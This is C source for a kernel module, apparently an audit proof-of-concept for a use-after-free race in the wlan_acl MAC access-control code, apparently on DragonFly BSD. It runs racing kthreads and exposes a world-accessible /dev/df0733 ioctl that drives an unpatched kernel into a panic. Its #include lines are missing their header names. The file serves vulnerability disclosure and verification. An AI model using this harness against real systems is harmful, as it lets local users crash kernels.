/* * DF-0733 harness kernel module — real-kernel object-level proof. * * The vulnerable path (acl_check -> _find_acl in wlan_acl/ieee80211_acl.c) * is only reachable on a live 802.11 hostap vap, which needs a wifi radio * driver — none ship in the audit VM. This module reproduces the exact UAF * race at the object level: it allocates a minimal zeroed ieee80211vap, * attaches the REAL "mac" aclator (wlan_acl.ko), and exposes /dev/df0733 * whose ioctl handler invokes acl->iac_check(fake_vap, &frame) — the actual * lockless acl_check — while concurrent kthreads churn the same hash bucket * via iac_add / iac_remove (which DO take ACL_LOCK and call _acl_free). * * Bug: acl_check (:161-176) calls _find_acl (:136-148) WITHOUT ACL_LOCK. * _find_acl does LIST_FOREACH(acl, &as->as_hash[hash], acl_hash); between the * ADDR_EQ compare of entry E and the implicit LIST_NEXT read of * E->acl_hash.le_next, a concurrent acl_remove->_acl_free runs LIST_REMOVE(E) * + IEEE80211_FREE(E). The foreach then reads E->acl_hash.le_next from * freed memory ==> UAF. With INVARIANTS (default GENERIC) the freed slab * is poisoned / reused and the next deref faults -> panic in _find_acl. * * Setup so the race is maximally winnable: * - all adder MACs share mac[5]=BUCKET => all land in as_hash[BUCKET] * - the lookup frame i_addr2 has mac[5]=BUCKET but matches no adder MAC * => the foreach walks the WHOLE bucket (longest window) * - adder + remover churn bucket BU continuously; checker hammers iac_check * * Load: kldload wlan ; kldload wlan_acl ; sysctl debug.use_malloc_pattern=1 ; kldload ./harness_mod.ko * Drive: ./trigger [iters] [threads] # unpatched wlan_acl => panic in _find_acl/acl_check */ #include "opt_wlan.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DF0733_IOCTL_CHECK _IO('D', 2) #define BUCKET 5 /* mac[5]=5 => ACL_HASH=5 */ static struct ieee80211vap *fake_vap; static const struct ieee80211_aclator *acl; static struct thread *adder_td; static struct thread *remover_td; static volatile int harness_stop; static volatile int adder_done; static volatile int remover_done; static volatile unsigned long add_count; static volatile unsigned long remove_count; static volatile unsigned long check_count; static volatile unsigned long check_allow; /* iac_check returned 1 (allow) */ static volatile unsigned long check_deny; /* iac_check returned 0 (deny) */ static cdev_t df0733_dev; /* the lookup MAC: hashes to BUCKET, matches no adder MAC (so foreach walks * the whole bucket, maximizing the race window). Adder MACs are * 0x02:0x00:0x00:0x00:0x00:BUCKET, 0x02:0x00:0x00:0x00:0x01:BUCKET, ... */ static uint8_t lookup_mac[IEEE80211_ADDR_LEN] = { 0xff, 0xff, 0xff, 0xff, 0xff, BUCKET }; static d_open_t df0733_open; static d_close_t df0733_close; static d_ioctl_t df0733_ioctl; static struct dev_ops df0733_ops = { .head = { .name = "df0733", .maj = 0, .flags = 0 }, .d_open = df0733_open, .d_close = df0733_close, .d_ioctl = df0733_ioctl, }; static int df0733_open(struct dev_open_args *ap) { return 0; } static int df0733_close(struct dev_close_args *ap) { return 0; } static int df0733_ioctl(struct dev_ioctl_args *ap) { struct ieee80211_frame wh; if (ap->a_cmd != DF0733_IOCTL_CHECK) return ENOTTY; /* build a frame whose i_addr2 is the no-match lookup MAC */ memset(&wh, 0, sizeof(wh)); IEEE80211_ADDR_COPY(wh.i_addr2, lookup_mac); /* the REAL acl_check — lockless _find_acl over as_hash[BUCKET] */ (void)acl->iac_check(fake_vap, &wh); __atomic_fetch_add(&check_count, 1, __ATOMIC_RELAXED); return 0; } static void adder_thread(void *arg) { uint32_t counter = 0; while (!harness_stop) { uint8_t mac[IEEE80211_ADDR_LEN] = { 0x02, 0x00, 0x00, 0x00, 0x00, BUCKET }; mac[3] = (counter >> 16) & 0xff; mac[4] = (counter >> 8) & 0xff; /* mac[5] stays BUCKET so ACL_HASH => BUCKET */ counter++; /* iac_add takes ACL_LOCK; EEXIST is fine (just churns) */ acl->iac_add(fake_vap, mac); __atomic_fetch_add(&add_count, 1, __ATOMIC_RELAXED); if ((counter & 0x3fff) == 0) lwkt_yield(); } adder_done = 1; wakeup(&adder_done); kthread_exit(); } static void remover_thread(void *arg) { uint32_t counter = 0; while (!harness_stop) { uint8_t mac[IEEE80211_ADDR_LEN] = { 0x02, 0x00, 0x00, 0x00, 0x00, BUCKET }; mac[3] = (counter >> 16) & 0xff; mac[4] = (counter >> 8) & 0xff; counter++; /* iac_remove takes ACL_LOCK, _find_acl, _acl_free (LIST_REMOVE + * IEEE80211_FREE). This is the free that races the lockless * foreach in acl_check. ENOENT is fine. */ acl->iac_remove(fake_vap, mac); __atomic_fetch_add(&remove_count, 1, __ATOMIC_RELAXED); if ((counter & 0x3fff) == 0) lwkt_yield(); } remover_done = 1; wakeup(&remover_done); kthread_exit(); } static int df0733_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: acl = ieee80211_aclator_get("mac"); if (acl == NULL) { kprintf("df0733: wlan_acl not loaded\n"); return ENXIO; } fake_vap = kmalloc(sizeof(*fake_vap), M_TEMP, M_INTWAIT | M_ZERO); if (fake_vap == NULL) return ENOMEM; if (!acl->iac_attach(fake_vap)) { kfree(fake_vap, M_TEMP); return ENXIO; } /* set policy ALLOW so acl_check actually consults the hash */ acl->iac_setpolicy(fake_vap, IEEE80211_MACCMD_POLICY_ALLOW); harness_stop = 0; adder_done = remover_done = 0; add_count = remove_count = check_count = 0; /* pre-populate bucket BUCKET so the first check walks it */ for (uint32_t i = 0; i < 32; i++) { uint8_t m[6] = { 0x02, 0x00, 0x00, 0x00, (uint8_t)(i >> 8), BUCKET }; m[3] = (uint8_t)(i & 0xff); acl->iac_add(fake_vap, m); } kthread_create(adder_thread, NULL, &adder_td, "df0733_add"); kthread_create(remover_thread, NULL, &remover_td, "df0733_rem"); df0733_dev = make_dev(&df0733_ops, 0, UID_ROOT, GID_WHEEL, 0666, "df0733"); kprintf("df0733: harness loaded (/dev/df0733); " "adder+remover kthreads churning bucket %d\n", BUCKET); return 0; case MOD_UNLOAD: harness_stop = 1; while (!adder_done) tsleep(&adder_done, 0, "df0733un", hz); while (!remover_done) tsleep(&remover_done, 0, "df0733un", hz); if (df0733_dev != NULL) destroy_dev(df0733_dev); if (acl != NULL && fake_vap != NULL) acl->iac_detach(fake_vap); if (fake_vap != NULL) kfree(fake_vap, M_TEMP); kprintf("df0733: harness unloaded " "(adds=%lu removes=%lu checks=%lu)\n", add_count, remove_count, check_count); return 0; } return EINVAL; } DEV_MODULE(df0733, df0733_modevent, NULL); /* IEEE80211_ACL_MODULE prepends "wlan_" so the registered module name is * "wlan_wlan_acl", not "wlan_acl". */ MODULE_DEPEND(df0733, wlan_wlan_acl, 1, 1, 1); MODULE_DEPEND(df0733, wlan, 1, 1, 1);